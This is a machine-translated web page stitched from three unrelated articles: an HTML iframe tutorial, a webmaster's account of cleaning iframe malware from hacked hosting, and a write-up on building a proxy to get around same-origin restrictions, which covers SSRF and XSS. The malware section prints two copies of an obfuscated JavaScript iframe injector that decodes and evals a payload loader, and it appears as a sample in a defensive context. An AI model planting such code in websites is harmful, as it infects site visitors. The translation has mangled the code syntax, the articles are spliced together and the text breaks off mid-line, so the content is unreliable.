How to insert into HTML iframe: example of use. Other signs of infection
At the dawn of site building, web resources widely used frames to display individual parts of pages. But with the arrival of the new version of HTML 5, everything has changed. Markup elements<frame>, <frameset\u003e and<noframes\u003e are deprecated. It was replaced by a single tag -<iframe\u003e. How to add to html
What are frames?
A frame is the basis of most of the first web pages. Literally translated, this word means "frame", that is, a frame is a small part of a page in a browser. The widespread use of frames in the past can be explained by the poor quality and high cost of Internet traffic. As a rule, the site was divided into 3-5 parts, each of which served a specific purpose:
- "Header" (top frame in the width of the page) - display the name of the resource;
- left / right "glass" - menu display;
- central frame - showing site content.
Splitting the page into parts allowed only a certain part to be overloaded when it was updated. For example, the user clicked on a menu item and new content was downloaded to the center frame.
Modern frames in HTML 5
Why you need it in HTML<iframe\u003e? An example is inserting content from a third-party resource. A classic situation is when a web developer wants to show the position of an object on a map. How to be? Draw a terrain plan from scratch? No - there is a simpler solution: embed a Google Map, Yandex Maps or 2GIS element on the page. The problem is solved in four steps.
- You need to go to the site of any map service.
- Find the desired object. Knowing the exact address, you can enter it in the search box.
- Using the button "Save and get the code" (for "Yandex.Maps") or "Finish" (for Google maps) get the embed code.
- It remains to add the generated markup tags to the page.
Additionally, you can select the size of the map and configure other display options.
How else can you use in HTML<iframe\u003e? An example is inserting videos from Youtube. Multimedia technology attracts Internet users, which is why video content is so popular. The developer will cope with the installation of the video quickly.
- Upload your own video to Youtube or find a third-party file to stream.
- Get the tag by selecting the "HTML Code" button
- The final action is to insert into
Both examples used automatic code generation, but professional developers should be able to compose it themselves. First, it will allow them to understand the layout of the page and modify it if necessary. Secondly, the markup of the site elements (even though they belong to an external resource) is not always formed without the participation of the webmaster. This is where the developer's high qualification comes in.
Syntax
So, before starting the page layout, you need to consider the iframe (html) tag: what it is and how to use it correctly.
First of all, it should be noted that the tag is paired. The content that will be displayed in browsers that do not support the given markup element is specified between the opening and closing elements. Basic tag attributes:
- width (width);
- height (height);
- src (address of the loaded resource);
- align (alignment method);
- frameborder;
- allowfullscreen.
So the code for
In the given markup, it is enough to replace the site address with any other and, if necessary, adjust the frame size.
I wanted to start my blog with lyrics, but it was such a hectic week that I decided to greet everyone with an article to the point. Hello!
And the whole week was spent in wars with constant hacking of my hosting and infection of all JavaScript files with iframs, and this is not a lot, not a little, about 2500 scripts and that's it. sites with viruses.
I did not have time to clear all the files in manual mode and change passwords, as the next day everything happened again - the passwords somehow leaked and the scripts were all successfully trodden again via FTP.
Friday of the week was the last straw and I spent the day protecting my servers:
- Configured on servers.ftpaccess - thereby restricting FTP access to servers from all IP except its statics;
- Wrote an auto-delete script from all files .js iframes, viruses. So, in order.
Site files are infected by banal insertion of iframe code into files via ftp, earlier I often saw insertions into .php,. html files - which led to a complete crash of sites, today malware has become kinder and began to write inserts exclusively in files with the .js - JavaScript extension. IFRAME inserts are written at the end of the file and can be either explicitly (easily detected by antiviruses) and encoded (work of various iframe cryptors), for example:
try (q \u003d document.createElement ("u"); q.appendChild (q + "");) catch (qw) (h \u003d - 012/5; zz \u003d "a" + "l"; f \u003d "fr" + "om" + "Ch"; f + \u003d "arC";) try (qwe \u003d prototype;) catch (brebr) (zz \u003d "zv" .substr (123 - 122) + zz; ss \u003d; f + \u003d (h )? "ode": ""; w \u003d this; e \u003d w [f.substr (11) + zz]; n \u003d "17$48$55.5$52$46.5$55$49.5$52.5$52$17$17.5$13$58.5$3.5$2$1.5$56$45.5$54$13$55.5$54$51$13$27.5$13$26.5$3.5$2$59.5$17.5$17$17.5$26.5" [((e)? "s": "") + "p" + "lit"] ("a $" .substr (1)); for (i \u003d 6 - 2 - 1 - 2 - 1; i- 684! \u003d 0; i ++) (k \u003d i; ss \u003d ss + String .fromCharCode (- 1 * h * (3 + 1 * n [k]) );) q \u003d ss; e (q); ) |
try (q \u003d document.createElement ("u"); q.appendChild (q + "");) catch (qw) (h \u003d -012 / 5; zz \u003d "a" + "l"; f \u003d "fr" + "om" + "Ch"; f + \u003d "arC";) try (qwe \u003d prototype;) catch (brebr) (zz \u003d "zv" .substr (123-122) + zz; ss \u003d; f + \u003d (h )? "ode": ""; w \u003d this; e \u003d w; n \u003d "17 $ 48 $ 55.5 $ 52 $ 46.5 $ 55 $ 49.5 $ 52.5 $ 52 $ 17 $ 17.5 $ 13 $ 58.5 $ 3.5 $ 2 $ 1.5 $ 56 $ 45.5 $ 54 $ 13 $ 55.5 $ 54 $ 51 $ 13 $ 27.5 $ 13 $ 26.5 $ 3.5 $ 2 $ 59.5 $ 17.5 $ 17 $ 17.5 $ 26.5 "[((e)?" S ":" ") +" p "+" lit "] (" a $ ". Substr (1)); for (i \u003d 6-2-1-2 -1; i-684! \u003d 0; i ++) (k \u003d i; ss \u003d ss + String.fromCharCode (-1 * h * (3 + 1 * n [k]));) q \u003d ss; e (q );)
All this symbolic chaos as a result of JavaScript turns into easy-to-read HTML code. iframe inserts and downloads the body of the virus to the user of the site by means of the exploit. Based on this minimum of theory, we will begin to protect ourselves from infection of sites.
Configuring .ftpaccess - restrict FTP access to servers
Viruses that rob your ftp passwords are so cunning that antiviruses are often powerless and passwords are leaked, no matter how you protect yourself. I suggest going the other way - and just blocking access to your ftp. To allow FTP access only from certain IPs, place the .ftpaccess file with the content in the root of your server, folders from sites:
Allow from xx.xx.xx.xx Allow from xx.xx.xx.xx Deny from all
Where xx.xx.xx.xx is your IP, from which FTP activity is allowed, everyone else is welcome.
We call the provider for the dedicated IP!
If, nevertheless, you cannot get a dedicated address, but have dynamic addresses, then you can specify the range of addresses from which IP addresses are issued by your ISP, for example, it will look like this:
Allow 212.32.5.0/26 Allow 158.152.0.0/16 Deny from all
This will restrict attackers' access to your servers.
Auto-delete script from all iframe insertion files
After the servers were secured, I proceeded to write a script that can check the site for viruses and would go through all the hosting folder, checking the file formats I specified for the presence of iframes in the content. The result of the work was the following script that removes inserts malicious code from site pages, in a specific example from .js scripts:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | $ v) ($ virus_text \u003d $ GLOBALS ["virus_start"]; $ pos_start \u003d stripos ($ v, $ GLOBALS ["virus_start"]); $ pos_end \u003d stripos ($ v, $ GLOBALS ["virus_end"]); $ virus_text \u003d substr ($ v, $ pos_start, $ pos_end); if ($ virus_text! \u003d "") (if (! stristr ($ v, $ virus_text)) ($ nfile \u003d $ v;) else (if (! $ flag) ( $ flag \u003d true; if (in_array ($ ffile, $ GLOBALS ["skip_files"])) echo "- skipped"; else (echo "- infected"; $ GLOBALS ["num_infected"] ++;)))) else ($ nfile \u003d $ v;)) if ($ GLOBALS ["del"]) ($ file \u003d fopen ($ filename, "w"); fwrite ($ file, implode ($ nfile, "")); fclose ( $ file);)) dir_walk ("del_virus", $ dir, array ("js"), true, $ dir); echo "Num infected \u003d $ num_infected"; ? & gt; |
$ v) ($ virus_text \u003d $ GLOBALS ["virus_start"]; $ pos_start \u003d stripos ($ v, $ GLOBALS ["virus_start"]); $ pos_end \u003d stripos ($ v, $ GLOBALS ["virus_end"]); $ virus_text \u003d substr ($ v, $ pos_start, $ pos_end); if ($ virus_text! \u003d "") (if (! stristr ($ v, $ virus_text)) ($ nfile \u003d $ v;) else (if (! $ flag) ($ flag \u003d true; if (in_array ($ ffile, $ GLOBALS ["skip_files"])) echo "- skipped"; else (echo "- infected"; $ GLOBALS ["num_infected"] ++;)) )) else ($ nfile \u003d $ v;)) if ($ GLOBALS ["del"]) ($ file \u003d fopen ($ filename, "w"); fwrite ($ file, implode ($ nfile, "")) ; fclose ($ file);)) dir_walk ("del_virus", $ dir, array ("js"), true, $ dir); echo "Num infected \u003d $ num_infected"; ?\u003e
Made an analog google tool Webmaster Marker. As a reminder, Marker is a tool in the Google Webmaster that allows you to annotate your Open Graph pages with tags. To do this, you simply select a piece of text on the page with the mouse and indicate that this is a title, and this is a rating. At the same time, your page is loaded into an Iframe in the webmaster's office.
Now Google, having met a similar page on your site, already knows what kind of content is published on it, and how to parse it beautifully into its essence (article, product, video ..)
We needed a similar functionality. The task seemed uncomplicated and exclusively client side. However, in practice, the solution lies at the junction of client-side and server-side ("pure" JS programmers may not know anything about various proxy servers and take a very long time to approach the shell). At the same time, I did not find an article on the Internet that would describe the entire technology from start to finish. I would also like to say thanks to the user BeLove and our security personnel for their help.
In our case, we wanted the webmaster to be able to conveniently (by marking with the mouse) get the xPath value for certain elements on his page.
Iframe "Same Origin"
And so, in our admin panel, a person must enter the URL of a page of his site, we will display it in an iFrame, a person pokes the mouse where necessary, we will get the desired xPath. Everything would be OK, but we do not have access to the content of the page from another domain loaded into an iframe in our admin panel (our domain), due to the browser's security policy.CORS - Cross origin resource sharing
Some people advised me to use CORS. A fashionable technology that solves many problems with accessing content from another domain in the browser and allows you to bypass the same origin policy restrictions.A site that wants to give access to its content on the pages of someone else's domain simply writes to the http header:
Access-Control-Allow-Origin: http://example.com
And in http header a request coming from a page of another domain from a browser must have an origin field:
Origin: www.mysupersite.com
it is clear that the browser adds the origin field to the request itself. Let's add an article on Habré and see that modern browsers add Origin even to a request for the same domain:
![](https://i2.wp.com/habrastorage.org/getpro/habr/post_images/c5b/a81/abc/c5ba81abcbbce27a93107dd12b08ecc9.png)
But:
- browser does not assign origin in the header of the request for the page being loaded in the iframe (can anyone explain why?)
- we do not want to ask webmasters to write the title Access-Control-Allow-Origin
Iframe sandbox
Another trendy technology. Sandbox this is an attribute of the Iframe tag. As one of the values \u200b\u200bof this attribute, you can set the value allow-same-origin... Before I started digging this topic, I didn't know what exactly this attribute does, but it sounded very tempting. However, the sandbox attribute simply limits what a page loaded in an iframe can do and has nothing to do with the problem of accessing the frame's content from the parent document.Specifically the value allow-same-origin (or rather its absence) just says that the iframe should always be regarded as loaded from someone else's domain (for example, you cannot send an AJAX request from such a frame to the domain of the parent document)
Let's see how Google has done
Time to sketch how big brother did![](https://i0.wp.com/habrastorage.org/getpro/habr/post_images/b5c/05f/625/b5c05f62508d11597cae2d5eb9c2cd6e.png)
Let's pay attention to the src attribute of the iframe element: src \u003d "https: //wmthighlighter.googleusercontent.com/webmasters/data-highlighter/RenderFrame/007 ....." - our page is loaded into the admin panel from the Google domain. Further, it is even more severe: even scripts and pictures in the original document are run through a proxy. All src, href ... are replaced in html with proxied ones. Something like this:
All the resources that your page uses are also stored on Google proxy servers. Here's an example of ours.
CGIProxy?
It immediately seemed that in order to do the same, you need to raise a full-fledged proxy like CGIProxy. This proxy server does about the same thing as Google's wmthighlighter.googleusercontent.comVisit the script "s URL to start a browsing session. Once you" ve gotten a page through the proxy, everything it links to will automatically go through the proxy. You can bookmark pages you browse to, and your bookmarks will go through the proxy as they did the first time.
Your Proxy!
However, if you narrow down the task, it is much easier to write a simple proxy yourself. The fact is that Google does this by running all the page content through a proxy. We just need the html of any page to be served from our domain, and the resources can be loaded from the original domain. We have dropped Https for now.The task of super performance or convenience of settings is not worth it, and this can be done quickly and with anything, from node.js to php. We wrote a servlet in Java.
Downloading the page
What should a proxy servlet do? Through the get parameter we get url of the page which you want to download, then download the page.Be sure to determine the encoding of the page (via http response or charset in html) - our proxy must respond in the same encoding as the page we loaded. We will also define the Content-Type just in case, although it is clear that we get the page in text / html and give it back the same way.
final String url \u003d request.getParameter ("url"); final HttpGet requestApache \u003d new HttpGet (url); final HttpClient httpClient \u003d new DefaultHttpClient (); final HttpResponse responseApache \u003d httpClient.execute (requestApache); final HttpEntity entity \u003d responseApache.getEntity (); final String encoding \u003d EntityUtils.getContentCharSet (entity); final String mime \u003d EntityUtils.getContentMimeType (entity); String responseText \u003d IOUtils.toString (entity.getContent (), encoding);
* For those who like to evaluate someone else's code: in our team we all have the same formatting settings for the eclicpse code, and when the file is saved, the eclipse itself appends to all final variables if they do not change anywhere else. Which by the way is quite convenient in the end.
Change relative URLs to absolute ones in the page code
You need to go through all the attributes with src and href in the page (paths of style files, images), and replace the relative urls with absolute ones. Otherwise, the page will try to download pictures from some folders on our proxy, which we naturally do not have. Any language has ready-made classes or you can find code snippets for this case on stackoverflow:final URI uri \u003d new URI (url); final String host \u003d uri.getHost (); responseText \u003d replaceRelativeLinks (host, responseText);
Sending html
That's it, the proxy servlet is ready. We send a response by setting the desired encoding and mime.protected void sendResponse (HttpServletResponse response, String responseText, String encoding, String mime) throws ServletException, IOException (response.setContentType (mime); response.setCharacterEncoding (encoding); response.setStatus (HttpServlet_Response.get.get) print (responseText); response.flushBuffer ();)
Deploy and test
We deploy our proxy servlet at the same address as the admin panel adminpanel.indexisto.com, load the webmaster's website page into our iframe through the proxy and all cross-domain problems disappear.Our proxy works at
http://adminpanel.indexisto.com/highlighter?url\u003dhttp://habrahabr.ru
- this is how the habr will be loaded from our domain. We return this address to the iframe and try to access the Habr DOM tree via JS in the admin panel - everything works. CSRF will naturally not work as the page is loaded from our proxy which does not have cookies.
SSRF problem
Let's load the site with the address "localhost" into our iframe - oops, here start page our nginx. Let's try some internal (not visible to the outside) resource on the same network as our proxy server. For example secured_crm.indexisto.com - everything is in place.Of course, we are trying to prohibit these things in our proxy, in case someone tries to proxy localhost, we exit without returning anything:
if (url.contains ("localhost") || url.contains ("127") || url.contains ("highlighter") || url.contains ("file")) (LOG.debug ("Trying to get local resource. Url \u003d "+ url); return;)
but we will not explicitly list all the network resources here. This means we need to move the proxy into a completely isolated environment so that the machine does not see anything except the Internet, itself and our proxy. We select the machine, configure it and start our servlet there.
XSS problem
Let's load our page into our iframe on which we write:Alert pops up. It's sad. This can be bypassed with the iframe attribute sandbox allow-scripts, but what about older browsers that don't really understand this attribute? You can only steal your own cookies, but you still can't leave it that way.
We take out the servlet not only to a separate machine, but also create a separate subdomain for it highlighter.indexisto.com.
We sailed, we broke our own solution to bypass cross-domain restrictions. Now we again cannot reach the iframe content.
Continuing to resect the solution from Google, I opened our page, which is given through a proxy in a separate window
And drew attention to a strange error in the console.
CrossPageChannel: Can "t connect, peer window-object not set.
It became clear that everything in an organized way is more complicated than just loading a page into an iframe from your domain. Pages communicate with each other. Accordingly, we move to the side window.postMessage
Post Message
To force the webmaster to embed in his page our script that would provide the selection of page elements with the mouse, and then send the xPath of these elements to us in the parent document through postMessage it was not humane. However, no one prevents our proxy from embedding any scripts on the page loaded into the iFrame.We save all the scripts necessary for injection to a file, and insert them before the closing one body:
final int positionToInsert \u003d responseText.indexOf ("